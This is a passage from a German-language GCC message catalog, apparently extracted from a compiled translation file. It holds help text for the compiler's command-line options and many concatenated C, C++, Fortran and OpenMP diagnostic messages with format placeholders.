  -###                     Wie -v, aber mit zitierten Optionen und nicht
                           ausgeführten Befehlen
  --bootclasspath PFAD    Eingebauten Klassenpfad ersetzen
  --classpath PFAD        Pfad zum Finden von .class-Dateien setzen
  --extdirs PFAD          Pfad für Erweiterungen setzen
  --help                   Diese Informationen anzeigen
  --help                  Diese Hilfe anzeigen und beenden
  --javap                 Ausgabe im »javap«-Format erzeugen
  --sysroot=<Verzeichnis>  <Verzeichnis> als Root-Verzeichnis für Header und
                           Bibliotheken verwenden
  --target-help            Zielspezifische Kommandozeilenoptionen anzeigen
  --version               Versionsnummer anzeigen und beenden
  -B <Verzeichnis>         <Verzeichnis> zum Suchpfad des Compilers hinzufügen
  -E                       Nur Präprozessor, kein Compiler, Assembler oder
                           Binder
  -IDIR                   Verzeichnis an Klassenpfad anhängen
  -S                       Nur kompilieren, nicht assemblieren oder binden
  -V <Version>             GCC <Version> laufen lassen, falls installiert
  -Wa,<Optionen>           Komma-getrennte <Optionen> an Assembler übergeben
  -Wl,<Optionen>           Komma-getrennte <Optionen> an Linker übergeben
  -Wp,<Optionen>           Komma-getrennte <Optionen> an Präprozessor übergeben
  -Xassembler <arg>        <arg> an den Assembler übergeben
  -Xlinker <arg>           <arg> an den Linker übergeben
  -Xpreprocessor <arg>     <arg> an den Präprozessor übergeben
  -a, --all-blocks                Informationen für jeden Basisblock zeigen
  -b <Maschine>            GCC für die Ziel-<Maschine> laufen lassen, falls
                           installiert
  -b, --branch-probabilities      Zweigwahrscheinlichkeiten in Ausgabe aufnehmen
  -c                       Nur kompilieren und assemblieren, aber nicht binden
  -c                      Methodenkörper disassemblieren
  -c, --branch-counts             Angegebene Zweigzahlen statt Anteilen nehmen
  -combine                 Mehrere Quelldateien auf einmal an Compiler übergeben
  -dumpmachine             Zielprozessor des Compilers anzeigen
  -dumpspecs               Alle eingebauten Spezifikationszeichenketten anzeigen
  -dumpversion             Compilerversion anzeigen
  -f, --function-summaries        Ausgabezusammenfassungen für jede Funktion
  -h, --help                      Diese Hilfe anzeigen
  -l, --long-file-names           Lange Dateinamen für Ausgabedateien für
                                    eingefügte Quelldateien verwenden
  -n, --no-output                 Keine Ausgabedatei erzeugen
  -o <Datei>               Ausgabe in <Datei> schreiben
  -o DATEI                Ausgabedateinamen setzen
  -o, --object-directory DIR|FILE In DIR oder aufgerufener Datei FILE nach
                                  Objektdateien suchen
  -p, --preserve-paths            Alle Pfadnamenskomponenten bewahren
  -pass-exit-codes         Ende mit höchstem Rückgabe-Code einer Phase
  -pipe                    Pipes statt temporärer Dateien verwenden
  -print-file-name=<lib>   Vollen Pfad zur Bibliothek <lib> anzeigen
  -print-libgcc-file-name  Name der Begleitbibliothek des Compilers anzeigen
  -print-multi-directory   Wurzelverzeichnis für Versionen von libgcc anzeigen
  -print-multi-lib         Abbildung zwischen Kommandozeilenoptionen und
                           mehreren Suchverzeichnissen für Bibliotheken anzeigen
  -print-multi-os-directory Relativen Pfad zu Betriebssystembibliotheken
                            anzeigen
  -print-prog-name=<prog>  Vollen Pfad zur Compilerkomponente <prog> anzeigen
  -print-search-dirs       Verzeichnisse im Suchpfad des Compilers anzeigen
  -print-sysroot-headers-suffix Den für Headersuche verwendeten sysroot-Suffix anzeigen
  -save-temps              Temporäre Dateien nicht löschen
  -specs=<Datei>           Eingebaute Spezifikationen mit Inhalt der <Datei>
                           überschreiben
  -std=<Standard>          Annehmen, dass die Eingabequellen für <Standard> sind
  -time                    Zeit für Ausführung jedes Subprozesses stoppen
  -u, --unconditional-branches    Auch unbedingte Zweigzähler zeigen
  -v                       Vom Compiler aufgerufene Programme anzeigen
  -v, --verbose           Zusatzinformationen beim Betrieb anzeigen
  -v, --version                   Versionsnummer anzeigen
  -x <Sprache>             Sprache der folgenden Eingabedateien angeben
                           Zulässige Sprachen sind: c c++ assembler none
                           'none' bedeutet den Rückfall auf das Standard-
                           verhalten, die Sprache aufgrund der Dateinamens-
                           erweiterung zu vermuten
  eine qualifizierte ID ist erforderlich  da es ein Nicht-Systemverzeichnis ist, das ein Systemverzeichnis dupliziert
  Basis %qT  denn die Umwandlungsfolge für das Argument ist besser  wegen lokalem Element %q+#D mit gleichem Namen  wegen lokaler Methode %q+#D mit gleichem Namen  aber %d benötigt  aber überschreibt nicht %<%T(const %T&)%>  aber überschreibt nicht %<operator=(const %T&)%>  von %q+D  in Frage kommende Umwandlungen beziehen %qD und %qD ein  veraltete Bindung bei %q+D kann nicht verwendet werden, weil es einen Destruktor hat  Konflikt mit %q+D  überschneidet Initialisierung von %q+#D  tritt in OpenMP-strukturierten Block ein  tritt in catch-Block ein  tritt in Gültigkeitsbereich des nicht-POD %q+#D ein  tritt in try-Block ein  beendet OpenMP-strukturierten Block  Klassentemplate erwartet, %qE erhalten  Klassentemplate erwartet, %qT erhalten  Konstante des Typs %qT erwartet, %qT erhalten  ein Template des Typs %qD erwartet, %qD erhalten  einen Typ erwartet, %qE erhalten  einen Typ erwartet, %qT erhalten  für Umwandlung von %qT in %qT  aus Definition von %q+#D  von hier  in Aufruf von %qD  in Auswertung von %<%Q(%#T, %#T)%>  in Instanziierung des Templates %qT  in geworfenem Ausdruck  Argument %P von %qD wird initialisiert  passt nach ISO-Standardregeln zu diesem %q+D  passt nach den alten Regeln zu diesem %q+D  oder %<operator=(const %T&)%>  %q+#D wird überschrieben  %q+#F wird überschrieben  denn %q+#D ist in Basisklasse deklariert  überspringt Initialisierung von %q+#D  Versuch, %qD zu instanziieren  bei %q+D wird veraltete Bindung verwendet (frv) Alle Optionen mit den gewünschten Eigenschaften wurden bereits angezeigt
 Keine Optionen mit den gewünschten Eigenschaften gefunden
 Hängende Anweisungen auf ENTRY-Kante nicht ausgeführt (%d, %d)
 Hängende Anweisungen auf EXIT-Kante nicht ausgeführt (%d, %d)
 Hängende Anweisungen auf PRED-Kante nicht ausgeführt (%d, %d)
 Hängende Anweisungen auf SUCC-Kante nicht ausgeführt (%d, %d)
 GESAMT                : in Konflikt stehende Codeerzeugungsschalter verwendet überdeckt Templateparameter %q+#DEingebaute Zuweisung !$OMP ATOMIC IAND, IOR oder IEOR muss bei %L zwei Argumente habenEingebaute Zuweisung !$OMP ATOMIC muss bei %L MIN, MAX, IAND, IOR oder IEOR seinZuweisung !$OMP ATOMIC muss bei %L »var = var op expr« oder »var = expr op var« sein!$OMP ATOMIC Zuweisung muss auf der rechten Seite bei %L Operator oder Intrinsic habenZuweisungsoperator !$OMP ATOMIC muss bei %L +, *, -, /, .AND., .OR., .EQV. oder .NEQV. sein!$OMP ATOMIC intrinsische Argumente außer einem dürfen bei %2$L nicht »%1$s« referenzieren!$OMP ATOMIC intrinsische Argumente müssen bei %L skalar seinAnweisung !$OMP ATOMIC muss eine skalare Variable intrinsischen Typs bei %L setzen!$OMP ATOMIC »var op expr« bei %L ist nicht mathematisch äquivalent mit »var = var op (expr)«!$OMP DO kann bei %L kein DO WHILE oder DO ohne Schleifensteuerung sein!$OMP DO-Schleifenvariable muss bei %L ganzzahligen Typs sein!$OMP DO-Schleifenvariable darf bei %L nicht THREADPRIVATE sein!$OMP DO-Schleifenvariable bei %L an Klausel statt PRIVATE oder LASTPRIVATE vorhanden!$OMP bei %C beginnt eine kommentierte Zeile, da es weder von Leerzeichen gefolgt wird noch eine Fortsetzungszeile ist»%s« ist keine gültige Präprozessoroption"::" nach Modul-Eigenschaft bei %C erwartet, aber nicht gefunden# %s %.2f %.2f
#include "..." - Suche beginnt hier:
#include <...> - Suche beginnt hier:
#pragma GCC diagnostic nicht innerhalb von Funktionen erlaubt#pragma GCC memregs muss vor allen Funktionsdeklarationen stehen#pragma GCC memregs nimmt eine Zahl [0..16]#pragma GCC visibility muss von push oder pop gefolgt werden#pragma GCC visibility push() muss default, internal, hidden oder protected angeben#pragma GHS endXXX passt nicht zum vorherigen startXXX#pragma GHS endXXXX ohne vorheriges startXXX gefunden#pragma extern_prefix wird von diesem Ziel nicht unterstützt#pragma implementation für %qs erscheint, nachdem Datei eingebunden wurde#pragma pack (pop) gefunden ohne passendes #pragma pack (push)#pragma pack hat mit -fpack-struct keinen Effekt - ignoriert#pragma pack(pop, %s) gefunden ohne passendes #pragma pack(push, %s)#pragma pack(pop[, id], <n>) wird von diesem Ziel nicht unterstützt#pragma pack(push[, id], <n>) wird von diesem Ziel nicht unterstützt#pragma redefine_extname wegen Konflikt mit __asm__-Deklaration ignoriert#pragma redefine_extname wegen Konflikt mit vorherigem #pragma redefine_extname ignoriert#pragma redefine_extname wegen Konflikt mit vorheriger Umbenennung ignoriert#pragma redefine_extname für dieses Ziel nicht unterstützt#pragma vtable wird nicht mehr unterstützt$-Operandennummer nach Format ohne Operandennummer angegeben$ sollte das letzte Spezifikationssymbol in Format bei %C sein%+D löst einen Abschnittstypkonflikt aus%<#pragma GCC pch_preprocess%> muss zuerst kommen%<#pragma align%> muss vor der Deklaration von %D auftreten, ignoriert%<#pragma omp barrier%> darf nur in Verbundanweisungen verwendet werden%<#pragma omp flush%> darf nur in Verbundanweisungen verwendet werden%<#pragma omp section%> darf nur in %<#pragma omp sections%>-Konstrukt verwendet werden%<%%%>-Bedingung mit letztem Operanden verwendet%<%%%c%> liefert nur die letzten 2 Ziffern des Jahres%<%%%c%> liefert in manchen Locales nur die letzten 2 Ziffern des Jahres%<%D::%D%> ist kein Element von %qT%<%T::%D%> ist kein gültiger Deklarator%<%T::%D%> benennt Konstruktor%<%T::%D%> benennt Konstruktor in %qT%<%T::%D%> benennt Destruktor%<%c%s%> nicht in Protokoll(en) gefunden%<%s %E%> innerhalb Parameterliste deklariert%<%s%> 2.95 vtable-Kompatibilitätsattribut trifft nur für C++-Klassen zu%<%s%> 2.95 vtable-Kompatibilitätsattribut trifft nur zu, wenn ein »kext« kompiliert wird%<&%>-Bedingung ohne Registerklasse verwendet%<-%s%> steht in Konflikt mit den anderen Architekturoptionen, die einen %s-Prozessor angeben%<-femit-struct-debug-detailed=dir:...%> muss zumindest so viel wie %<-femit-struct-debug-detailed=ind:...%> erlauben%<-gnat%> falsch buchstabiert als %<-gant%>%<-march=%s%> ist mit dem ausgewählten ABI unverträglich%<-mgp32%> und %<-mfp64%> können nur kombiniert werden, wenn das Ziel die Befehle mfhc1 und mthc1 unterstützt%<-mgp32%> und %<-mfp64%> können nur kombiniert werden, wenn o32-ABI verwendet wird%<-mgp32%> mit einem 64-Bit-ABI verwendet%<-mgp64%> mit einem 32-Bit-ABI verwendet%<-mgp64%> mit einem 32-Bit-Prozessor verwendet%<-mips3d%> erfordert %<-mpaired-single%>%<-mno-gpopt%> erfordert %<-mexplicit-relocs%>%<...%> als Argumente.)%<...%> hat ungültige Operandenzahl%<::main%> muss %<int%> zurückgeben%<<:%> ist eine andere Schreibweise für %<[%>. Leerraum zwischen %<<%> und %<::%> einfügen%<<::%> kann keine Templateargumentliste einleiten%<@end%> fehlt in Implementationskontext%<@end%> muss in einem @implementation-Kontext auftreten%<@throw%> (rethrow) außerhalb von »@catch«-Block verwendet%<@try%> ohne %<@catch%> oder %<@finally%>%<[*]%> außerhalb des Bereichs des Funktionsprototypen nicht erlaubt%<_Sat%> ohne %<_Fract%> oder %<_Accum%> verwendetAttribut %<__BELOW100__%> bezieht sich nur auf Variablen%<__alignof%> auf Bitfeld angewandtZweites Argument für %<__builtin_longjmp%> muss 1 sein%<__builtin_next_arg%> ohne Argument gerufen%<__gcc_host_wide_int__%> ist nicht als %<long%> oder %<long long%> definiert%<__gcc_host_wide_int__%> ist nicht als Typ definiert%<__thread%> vor %<extern%>%<__thread%> vor %<static%>%<__thread%> mit %<auto%> verwendet%<__thread%> mit %<register%> verwendet%<__thread%> mit %<typedef%> verwendet%<__thread%> mit %qE verwendet»und« sich gegenseitig ausschließender Gleichheits-Tests ist immer 0%<asm%>-Operandenbedingung inkompatibel mit Operandengröße%<asm%>-Operand hat unmögliche Nebenbedingungen%<asm%>-Operand erfordert unmögliches Neuladen%<asm%>-Symbole sind an nicht statischen Datenelementen nicht erlaubt%<auto%> in leerer Deklaration im Datei-GültigkeitsbereichFunktionsspezifizierer %<const%> und %<volatile%> an %qD ungültig in %s-Deklaration%<default%>-Marke in Gültigkeitsbereich eines Bezeichners mit variabel modifiziertem Typen, der keine einschließende switch-Anweisung enthält%<default%>-Marke in Anweisungs-Ausdruck enthält keine einschließende switch-Anweisung%<default%>-Marke nicht innerhalb einer switch-Anweisung%<dynamic_cast%> ist nicht mit -fno-rtti erlaubt%<else%> ohne vorheriges %<if%>%<enum %E%> in Anfangsdeklaration einer %<for%>-Schleife deklariert%<explicit%> kann nur für Konstruktoren angegeben werden%<friend%> kann nur innerhalb einer Klasse angegeben werdenAttribut %<gnu_inline%> vorhanden bei %q+D%<inline%> in leerer Deklaration%<inline%> ist nicht in Deklaration der friend-Template-Spezialisierung %qD erlaubt%<inline%> für friend-Klassen-Deklaration angegeben%<inline%> ungültig für außerhalb des globalen Gültigkeitsbereiches deklarierte Funktion %qs%<location_t%> ist nicht als ein Typ definiert%<locus%> ist nicht als ein Typ definiert%<long long long%> ist für GCC zu lang%<long long%> ungültig für %qs%<long%> und %<short%> für %qs gleichzeitig angegeben%<long%> ungültig für %qs%<long%> oder %<short%> ungültig für %qs%<long%> oder %<short%> mit »char« für %qs angegeben%<long%> switch-Ausdruck nicht nach »int« konvertiert in ISO C%<noreturn%>-Funktion gibt nicht-void-Wert zurück%<operator delete%> muss Typ %qT zurück geben%<operator delete%> nimmt Typ %qT als ersten Parameter%<operator new%> darf nicht NULL zurückgeben, außer es ist mit %<throw()%> deklariert (oder -fcheck-new ist eingeschaltet)%<operator new%> muss Typ %qT zurück geben%<operator new%> nimmt Typ %<size_t%> (%qT) als ersten Parameter%<operator=%> sollte eine Referenz auf %<*this%> zurück geben»oder« nicht passender Ungleichheits-Tests ist immer 1%<register%> in leerer Deklaration im Datei-Gültigkeitsbereich%<return%> mit Wert in void zurückgebender Funktion%<return%> ohne Wert in nicht-void zurückgebender Funktion%<short%> ungültig für %qs%<signed%> und %<unsigned%> für %qs gleichzeitig angegeben%<signed%> oder %<unsigned%> ungültig für %qs%<static%> darf nicht bei der Definition (im Gegensatz zu Deklaration) eines statischen Datenelementes verwendet werden%<static%> ungültig für außerhalb des globalen Gültigkeitsbereiches deklarierte Funktion %qs%<struct %E%> in Anfangsdeklaration einer %<for%>-Schleife deklariert%<this%> ist für statische Elementfunktionen nicht verfügbar%<threadprivate%> %qE hat unvollständigen TypenAttribute %<trap%> und %<far%> sind unverträglich, %<far%> wird ignoriertAttribut %<trap%> wird bereits verwendet%<tree%> ist nicht als ein Zeigertyp definiert%<tree%> ist nicht als ein Typ definiert%<typedef%> wurde in dieser Deklaration ignoriert%<typename %T::%D%> benennt %q#T, was kein Klassentemplate ist%<typename %T::%D%> benennt %q#T, was kein Typ ist%<union %E%> in Anfangsdeklaration einer %<for%>-Schleife deklariert%<va_start%> in Funktion mit fester Parameterzahl verwendet%<void%> kann nicht als einzelner Parameter qualifiziert werden%<void%> muss der einzige Parameter sein%D nach Referenzierung in Assemblierung umbenannt%H   von früherem Behandler für %<%T%>%H   von früherem Behandler für %qT%H  von hier%H%<#pragma omp section%> darf nur in %<#pragma omp sections%>-Konstrukt verwendet werden%H%<...%>-Behandler muss der letzte Behandler für seinen »try«-Block sein%HOperator %<>>%> wird in C++0x als zwei spitze schließende Klammern behandelt%H%<>>%> sollte innerhalb einer geschachtelten Templateargumentliste %<> >%> sein%H%<else%> ohne vorheriges %<if%>%H%<noreturn%>-Funktion kehrt zurück%H%qE als falsche Symbolart definiert%H%qE nicht deklariert (erste Benutzung in dieser Funktion)%H%qE ist hier nicht deklariert (nicht in einer Funktion)%H%qs ist für %qs ungültig%H%s%H(Jeder nicht deklarierte Bezeichner wird nur einmal aufgeführt%Hbeschädigtes Werteprofil: %s-Profiler-Gesamtzähler (%d) passt nicht zum BB-Zähler (%d)%HFeldindex ist oberhalb der Feldgrenzen%HFeldindex ist unterhalb der Feldgrenzen%HFeldindex ist außerhalb der Feldgrenzen%Hfür nicht existierende Methode %qE wird Selektor erzeugt%Hdoppelte Klasse wird nur einmal übersetzt%HDoppelte Marke %qD%Humgebende Parallele%HAufzählungswert %qE wird nicht von switch behandelt%HAusnahme des Typs %qT wird gefangen werden%Hfür jede Funktion in der er auftritt.)%H#pragma %s %s wird ignoriert%HDer Rückgabewert von %qD, der mit dem Attribut warn_unused_result deklariert wurde, wird ignoriert%HDer Rückgabewert der Funktion, die mit dem Attribut warn_unused_result deklariert wurde, wird ignoriert%HSteuerprädikat ungültig%HErhöhungsausdruck ungültig%Hungültiger Typ für Schleifenvariable %qE%HSteuerprädikat fehlt%HErhöhungsausdruck fehlt%HPrototyp-Deklaration%HAblauf %<runtime%> akzeptiert keinen Parameter %<chunk_size%>%HAnweisung ohne Effekt%Hverirrtes %<@%> im Programm%Hes wird empfohlen, explizite geschweifte Klammern zu setzen, um mehrdeutiges %<else%> zu vermeiden%HDie Standardfallbehandlung in switch fehlt%HTraditionelles C bietet keinen separaten Namespace für Marken an, Bezeichner %qE steht in Konflikt%Hberechneter Wert ist unbenutzt%Hwird niemals ausgeführt%J  denn die folgenden virtuellen Funktionen sind rein innerhalb %qT:%J  tritt in catch-Block ein%J  denn der Typ %qT hat rein virtuelle Funktionen%J  während es hier initialisiert wurde%J  dies kann durch das Löschen des Initialisierers umgangen werden%J Attribut %<externally_visible%> wirkt sich nur auf öffentliche Objekte aus%J%qD sollte in Elementinitialisierungsliste initialisiert werden%J%qD wurde hier deklariert%JAttribut %qE kann nur auf Funktionen angewandt werden%J%s %<%c%s%>%J%s: %qs%Jabstrakte Methode in nicht-abstrakter Klasse%JAdressbereichsattribut kann nicht für Funktionen angegeben werden%JAlias-Definitionen werden in dieser Konfiguration nicht unterstützt%Jfür lokale Variablen kann kein Adressbereichsattribut angegeben werden%Jeine anonyme struct kann keine Funktionselemente haben%Jeine anonyme Union kann keine Funktionselemente haben%JBasisklasse %q#T sollte explizit im Kopierkonstruktor initialisiert werden%Jaber nicht hier%JAttribut %qE kann nicht nach der Definition gesetzt werden%Jcase-Wert %qs nicht in Aufzählungstyp%Jcase-Wert %qs nicht in Aufzählungstyp %qT%Jin Konflikt mit vorheriger Deklaration (hier) steht%JDatenabschnittsattribute können nicht für lokale Variablen angegeben werden%Jflexibles Feld-Element in ansonsten leerem struct%Jflexibles Feldelement in Union%Jflexibles Feld-Element nicht am Ende von struct%Jfolgt Nicht-Prototyp-Definition hier%JFunktion könnte möglicher Kandidat für Attribut %<noreturn%> sein%JInitialisierungen für mehrere Elemente von %qT%Jungültige Verwendung einer Struktur mit flexiblem Feld-Element%JIn Gültigkeitsbereich von Bezeichner mit variabel modifiziertem Typ springen%JSprung in Anweisungs-Ausdruck%Jmehrere Initialisierungen für %qD angegeben%Jmehrere Initialisierungen für Basis %qT angegeben%JFunktionsdefinition im alten Stil%JParameterdeklarationen alten Stils in Prototyp-Funktionsdeklaration%Jin dieser Konfiguration werden nur schwache Aliase unterstützt%Jursprüngliche Definition trat hier auf%JParameter %u hat unvollständigen Typen%JParameter %u hat void-Typen%JParametername fehlt in Parameterliste%JParametername ausgelassen%Jvorherige Definition hier%JBereits hier verwendet%JAbschnitts-Attribut kann nicht für lokale Variablen angegeben werden%JAbschnitts-Attribute werden für dieses Ziel nicht unterstützt%JVerdeckte Deklaration ist hier%JDies ist die erste Standardmarke%JDies ist der erste Eintrag, der diesen Wert überschneidet%JGesamtgröße der lokalen Objekte zu hoch%Jtraditionelles C weist Funktionsdefinitionen im ISO-C-Stil zurück%Jtypedef-Name darf kein Spezifizierer mit geschachteltem Namen sein%Jnicht initialisiertes Element %qD mit %<const%>-Typ %qT%Jnicht initialisiertes Referenzelement %qD%JAttribut weakref muss vor Attribut alias auftreten%Jweakref wird in dieser Konfiguration nicht unterstützt%KAufruf von %D könnte Zielpuffer überlaufen lassen%KAufruf von %D wird den Zielpuffer immer überlaufen lassen%KAufruf von %qs mit Attributfehler deklariert: %s%KAufruf von %qs mit Attributwarnung deklariert: %s%Kerstes Argument von %D muss ein Zeiger, das zweite eine Ganzzahlkonstante sein%Kungültige Verwendung von %<__builtin_va_arg_pack ()%>%Kungültige Verwendung von %<__builtin_va_arg_pack_len ()%>%Kletztes Argument von %D ist keine Ganzzahlkonstante zwischen 0 und 3%c REDUCTION-Variable »%s« muss bei %L numerischen Typ haben, %s erhalten%d Konstruktor(en) gefunden
%d Destruktor(en) gefunden
%d Ausgänge für Schleife %d (mit %d Ausgängen) aufgezeichnet%d Rahmentabelle(n) gefunden
%d niederwertigste Bits von %s werden ignoriert.%i-Bit-Modus nicht einkompiliert%q#D steht mit vorheriger %<using%>-Deklaration %q#D in Konflikt%q#D verdeckt Konstruktor für %q#T%q#D« ist ein statisches Datenelement; es kann nur bei seiner Definition initialisiert werden%q#D ist kein Nicht-static-Datenelement von %qT%q#D ist kein statisches Element von %q#T%q#D als andere Symbolart redeklariert%q#T hat Zeigertypen als Elemente%q#T hat virtuelle Funktionen und erreichbaren nicht-virtuellen Destruktor%q#T ist keine Klasse%q#T ist kein Template%q#T ist kein gültiger Typ für einen Templatekonstanten-Parameter%q#T definiert nur einen privaten Destruktor und hat keine »friends«%q#T definiert nur private Konstruktoren und hat keine »friends«%q#T verwendet, wo %qT erwartet wurde%q#T verwendet, wo ein Gleitkommawert erwartet wurde%q+#D kann nicht deklariert werden%q+#D kann nicht überladen werden%q+#D verweist nicht auf den unqualifizierten Typen, also wird es nicht zum Binden verwendet%q+#D ungültig; eine anonyme struct kann nur nicht-statische Datenelemente haben%q+#D ungültig; eine anonyme Union kann nur nicht-statische Datenelemente haben%q+#D ist unzugänglich%q+#D ist privat%q+#D ist geschützt%q+#D wurde vorher hier definiert%q+D als Alias für externes Symbol %qs%q+D als Alias für undefiniertes Symbol %qs%q+D bereits mit Attribut »dllimport« deklariert: »dllimport« ignoriert%q+D löst einen Abschnittstypkonflikt aus%q+D enthält leere Klassen, die in zukünftigen GCC-Versionen die Basisklassen an andere Orte verschieben können%q+D als »friend« deklariert%q+D als Nicht-Parameter deklariert%q+D hier deklariert%q+D mit einer Ausnahmespezifikation deklariert%q+D sowohl normal als auch als Alias definiert%q+D definiert, aber nicht verwendet%q+D hat eine vorherige Deklaration als %q#D%q+D hat eine vorherige Deklaration hier%q+D ungültig in %q#T%q+D ist normalerweise eine Nicht-static-Funktion%q+D ist keine Funktion,%q+D ist statisch, aber in Inline-Funktion %qD deklariert, was nicht statisch ist%q+D ist zu klein um alle Werte von %q#T aufzunehmen%q+D ist üblicherweise eine Funktion%q+D kann nicht static sein, da es ein Union-Element ist%q+D darf keinen Referenztyp %qT haben, da es ein Element einer Union ist%q+D als andere Symbolart redeklariert%q+D ohne Attribut »dllimport« redeklariert, nachdem es mit dll-Bindung referenziert wurde%qD ohne Attribut »dllimport« redeklariert: vorheriges »dllimport« ignoriert%q+D benötigt entweder null oder zwei Argumente%q+D vor Deklaration verwendet%q+D war versteckt%q+D wurde vor seiner Definition ohne Deklaration verwendet%q+D wurde vor seiner Definition ohne Prototyp verwendet%q+D wird initialisiert nach%q+D: Sichtbarkeitsattribut ignoriert, da es%q+D:Attribut »selectany« bezieht sich nur auf initialisierte Objekte%q+F als %<static%> deklariert, aber nirgendwo definiert%q+F verwendet, aber nirgendwo definiert%q+T hat eine vorherige Deklaration hier%qD tritt in Datenklausel mehrfach aufAttribut-Anweisung %qD wird ignoriertAttribut %qD ist bedeutungslos, da die Elemente des anonymen Namensraums lokale Symbole erhaltenAttribut %qD erfordert ein einzelnes NTBS-Argument%qD kann nicht in Konstanten-Ausdruck auftreten%qD kann nicht als virtuell deklariert werden, da es immer statisch ist%qD kann bei der Deklaration nicht von nicht konstantem Ausdruck initialisiert werden%qD kann nicht Thread-lokal sein, weil es Nicht-POD-Typen %qT hat%qD kann keine Standardargumente haben%qD als %<virtuelles%> %s deklariert%qD als %<inline%> %s deklariert%qD als Referenz deklariert, aber nicht initialisiert%qD hat unvollständigen Typ%qD hat unvollständigen Typen%qD hat kein Element namens %qE%qD hat den gleichen Namen wie die Klasse, in der es deklariert wurde%qD ist bereits ein »friend« von %qT%qD ist bereits ein »friend« der Klasse %qT%qD wurde in diesem Gültigkeitsbereich bereits deklariert%qD ist bereits in %qT definiert%qD ist bereits in Klasse %qT definiert%qD ist bereits in der Klasse %qT definiert%qD ist sowohl eine direkte Basis als auch eine indirekte virtuelle Basis%qD ist veraltet (deklariert bei %s:%d)%qD ist keine Klasse oder Namensbereich%qD ist kein Funktionstemplate%qD ist kein Element von %qT%qD ist keine Elementtemplatefunktion%qD ist kein statisches Datenelement eines Klassentemplates%qD ist kein Template%qD ist keine Templatefunktion%qD ist kein Typ%qD ist kein gültiges Templateargument, weil %qD eine Variable und nicht die Adresse einer Variable ist%qD ist in Klausel %qs keine Variable%qD in %qD nicht deklariert%qD ist außerhalb des Funktionsgültigkeitsbereiches nicht definiert%qD ist Thread-lokal und kann damit nicht dynamisch initialisiert werden%qD darf nicht als »static« deklariert werden%qD darf nicht innerhalb eines Namensbereiches definiert werden%qD muss eine nichtstatische Elementfunktion sein%qD muss entweder eine nichtstatische Elementfunktion oder eine Nicht-Element-Funktion sein%qD muss ein Argument von einem Klassen- oder Aufzählungstyp haben»%qD« darf keine variable Argumentanzahl haben%qD muss %<void%> nehmen»%D« muss entweder ein oder zwei Argumente nehmen%qD muss entweder null oder ein Argument nehmen%qD muss genau ein Argument nehmen%qD muss genau zwei Argumente nehmen%qD nicht deklariert%qD nicht definiert%qD mit anderer Sichtbarkeit redeklariert%qD sollte innerhalb von %qD deklariert werden%qD sollte niemals überladen werden%qD sollte Wert zurückgeben%qD ohne Template-Parameter verwendet%qD wurde %<extern%> deklariert und später %<static%>%qD wurde als %qs deklariert, was Standardsichtbarkeit bedeutet%qD wurde in diesem Gültigkeitsbereich nicht definiert%qE tritt in dieser Datenklausel mehrfach aufAttribut %qE kann nur auf Java-Klassendefinitionen angewendet werdenAttribut %qE kann nur auf Klassendefinitionen angewendet werdenAttribut %qE steht mit Attribut %s in KonfliktAttribut %qE wirkt sich nur auf öffentliche Objekte ausAttribut %qE wird ignoriertAttribut %qE ignoriert, da %qT bereits definiert istAttribut %qE ignoriert für %qEAttribut %qE ignoriert für Feld vom Typ %qTAttribut %qE ignoriert für Nicht-Klassen-TypenAttribut %qE für Typen ignoriertAttribut %qE wird auf dieser Plattform nicht unterstütztAttribut %qE gilt nur für variadische FunktionenAttribut %qE benötigt Prototypen mit benannten Argumenten%qE kann nicht als Funktion verwendet werden%qE kannt nicht als Elementzeiger verwendet werden, da es vom Typ %qT ist%qE nach erster Benutzung als %<threadprivate%> deklariert%qE ist kein typedef oder eingebauter Typ%qE hat ungültigen Typ für %<reduction%>%qE hat ungültigen Typ für %<reduction(%s)%>%qE hat Referenztyp für %qs%qE ist ein nicht erkannter Formatfunktionstyp%qE ist weder eine Funktion noch Elementfunktion; kann nicht als »friend« deklariert werden%qE ist kein gültiges Templateargument für Typ %qT, da die Funktion %qD keine externe Bindung hat%qE ist kein gültiges Templateargument für Typ %qT, weil es ein nicht konstanter Ausdruck ist%qE ist kein gültiges Templateargument für Typ %qT, weil es ein Zeiger ist%qE ist kein gültiges Templateargument für Typ %qT, weil es kein L-Wert ist%qE ist kein gültiges Templateargument für Typ %qT, weil es vom Typ %qT ist%qE ist kein gültiges Templateargument für Typ %qT, weil Objekt %qD keine externe Bindung hat%qE ist kein gültiges Templateargument für Typ %qT, da es in CV-Qualifikation in Konflikt steht%qE ist kein gültiges Templateargument für Typ %qT, da Zeichenkettensymbole in diesem Zusammenhang nicht verwendet werden können%qE ist kein gültiges Templateargument des Typs %qT, weil %qD keine externe Bindung hat%qE ist kein gültiges Templateargument für Typ %qT, weil %qE keine Variable ist%qE ist in Klausel %<firstprivate%> keine Variable%qE ist in Klausel %<lastprivate%> keine Variable%qE ist in Klausel %qs keine Variable%qE ist nicht am Anfang einer Deklaration%qE ist nicht vom Typ %qT%qE ist veraltet; g++-vtables sind jetzt standardmäßig COM-verträglich%qE ist vorbestimmt %qs für %qs%qE muss für %<copyin%> %<threadprivate%> sein%qE verweist auf eine Menge überladener Funktionen%qT mit bedeutenderer Sichtbarkeit als seine Basis %qT deklariert%qT mit bedeutenderer Sichtbarkeit als der Typ seines Feldes %qD deklariert%qT hat Basis %qT, dessen Typ den anonymen Namensbereich verwendet%qT hat ein Feld %qD, dessen Typ den anonymen Namensbereich verwendet%qT hat kein Element namens %qE%qT hat kein nicht-statisches Datenelement namens %qD%qT ist ein variabel modifizierter Typ%qT ist bereits ein »friend« von %qT%qT ist mehrdeutige Basis von %qT%qT ist eine nicht erreichbare Basis von %qT%qT ist keine Basis von %qT%qT ist keine Klasse oder Namensbereich%qT ist kein Klassen-, Struktur- oder Union-Typ%qT ist kein Elementklassentemplate von %qT%qT ist kein Element von %qT%qT ist kein Namensbereich%qT ist keine geschachtelte Klasse von %qT%qT ist kein Zeiger auf Objekt%qT ist kein Template%qT ist kein Template-Typ%qT ist keine erreichbare Basis von %qT%qT auf %qT erweitert beim Durchlaufen von %<...%>%qT ist/verwendet anonymen Typen%qT als %qs verwendet%qT als enum verwendet%qT wird in %qT aufgelöst, was kein Klassentyp ist%qT wird in %qT aufgelöst, was kein Aufzählungstyp ist%qV-Qualifizierer können nicht auf %qT angewendet werden%qs scheint ein falsch geschriebener Interrupt-Handler zu sein%qs scheint ein falsch geschriebener Signal-Handler zu seinAttribut %qs bezieht sich nur auf initialisierte Variablen mit externer BindungAttributargument %qs ist keine ZeichenkettenkonstanteAttributargument %qs ist keine GanzzahlkonstanteAttribut-Anweisung %qs ignoriertAttribut %qs kann nicht auf Typen angewandt werdenAttribut %qs wird ignoriertAttribut %qs 